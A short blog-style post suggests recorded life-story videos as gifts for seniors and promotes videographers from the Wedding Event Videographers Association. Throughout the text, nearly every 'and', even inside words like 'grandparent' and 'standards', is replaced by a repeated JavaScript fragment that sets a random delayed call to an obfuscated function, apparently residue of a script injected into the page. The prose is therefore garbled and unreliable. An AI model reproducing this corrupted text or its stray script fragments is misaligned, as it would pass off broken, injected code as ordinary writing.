A Special Gift Idea

Some gifts are funny. Some gifts are cute. Some gifts are cheap. But, some gifts increase in value with time. I believe that the best gifts to give are those that increase in value. I have a gift suggestion for seniors.

Give the gift of a personal history or a family history to your loved ones. Let’s face it. None of us will live forever. Our experiences andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and knowledge will pass with us unless we do something about it.

Many young people know how to handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andle a computer better than most senior citizens. It is now rather easy to record a senior citizen talking, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then edit the recording to make a CD or DVD from a computer. If a video is produced, then digital images of pictures, diplomas, certificates, or other items can be edited into the final version to illustrate what the person who is speaking is describing.

I believe that this would be a great project for grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andparents to do with grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andchildren who know how to use a computer in this way. The time spent by a young person to help a grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andparent to record andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and preserve a life story would be very meaningful for both of them. A little video clip of the grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andparent with the grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andchild who helped would be especially meaningful to the grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andchild as time progresses.

If you don’t have someone in your family with superb computer skills, then I suggest that you employ the services of a member of the Wedding Event Videographers Association. These are professionals who can videotape andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and edit your life story. W.E.V.A. is an international organization that promotes professional standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andards andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and valuable service to its members’ clients. W.E.V.A. conducts seminars, meetings, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a national convention to educate its members about equipment, techniques, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and customer service that will create a win-win situation for both the videographer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the client.

W.E.V.A. videographers can help with creating video histories of people, clubs, churches, schools, businesses, political candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates, meetings, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other events or projects. The W.E.V.A. videographers that I have met have impressed me with being especially dedicated to creating wonderful videos of weddings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other family events. The W.E.V.A. videographers believe that a wedding video should be great now andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and great in the future. When the wedding couple faces tough times, as all couples do, the wedding video can help the couple to remember all the wonderful, loving feelings that they have for each other so that it is easier to get through a tough time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and preserve the marriage. Oh, sure, you could get an uncle to video tape your wedding. But, believe me, you andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and your uncle will enjoy the wedding andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the wedding video more if you use a W.E.V.A. member videographer to perform that task. To find a videographer who is a member of W.E.V.A. visit www.weva.com andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and click “Find a Videographer”.

Whether you use a relative or a professional videographer to help you, any life story preservation gift will be a gift that increases in value over time. Family members who have not yet started their lives will be able to benefit from your life story because you took steps to share it with them. What a wonderful gift to give to your loved ones!
